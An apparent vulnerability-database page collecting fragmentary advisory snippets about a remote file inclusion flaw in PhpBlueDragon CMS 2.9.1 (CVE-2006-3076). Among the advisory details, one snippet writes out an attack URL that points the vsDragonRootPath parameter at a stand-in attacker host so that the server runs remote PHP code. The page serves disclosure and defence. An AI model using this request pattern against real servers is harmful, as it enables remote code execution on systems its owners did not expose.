EUVD-2006-3073

Malware in sbrugna...

Php Blue Dragon CMS <= 2.9.1 (template.php) File Include Vulnerability

No description provided by source. ----------------------------------------------------- Advisory id: FSA:015 Author: Federico Fazzi Date: 14/06/2006, 18:20 Sinthesis: PhpBlueDragon CMS 2.9.1, File inclusion vulnerability Type: high Product: http://phpbluedragon.net/ Patch: unavailable...

phpbluedragon-2.txt

PHPBlueDragon CMS ... System OpenBSD xxx 3.9 xxx i386 ... Credits: shm...

phpBlueDragon CMS 2.9.1 multiple remote file inclusion vuln

PHPBlueDragon CMS = 2.9.1 http://phpbluedragon.net/ Affected files: rootincludes/rootmodules/teamadmin.php?action=moveitem&templateredirect=yes&vsDragonRootPath=http://bad.hacker.com:6666/...

phpbluedragon.txt

----------------------------------------------------- Advisory id: FSA:015 Author: Federico Fazzi Date: 14/06/2006, 18:20 Sinthesis: PhpBlueDragon CMS 2.9.1, File inclusion vulnerability Type: high Product: http://phpbluedragon.net/ Patch: unavailable...

CVE-2006-3076

CVE-2006-3076 affects PhpBlueDragon CMS 2.9.1. Affected file: software_upload/public_includes/pub_templates/vphptree/template.php. Vulnerability: remote attacker can execute arbitrary PHP code via a URL in the vsDragonRootPath parameter, enabling remote code execution. Connected documents confirm...

CVE-2006-3076: Undefined Security Weakness

PHP remote file inclusion vulnerability in softwareupload/publicincludes/pubtemplates/vphptree/template.php in PhpBlueDragon CMS 2.9.1 allows remote attackers to execute arbitrary PHP code via a URL in the vsDragonRootPath parameter...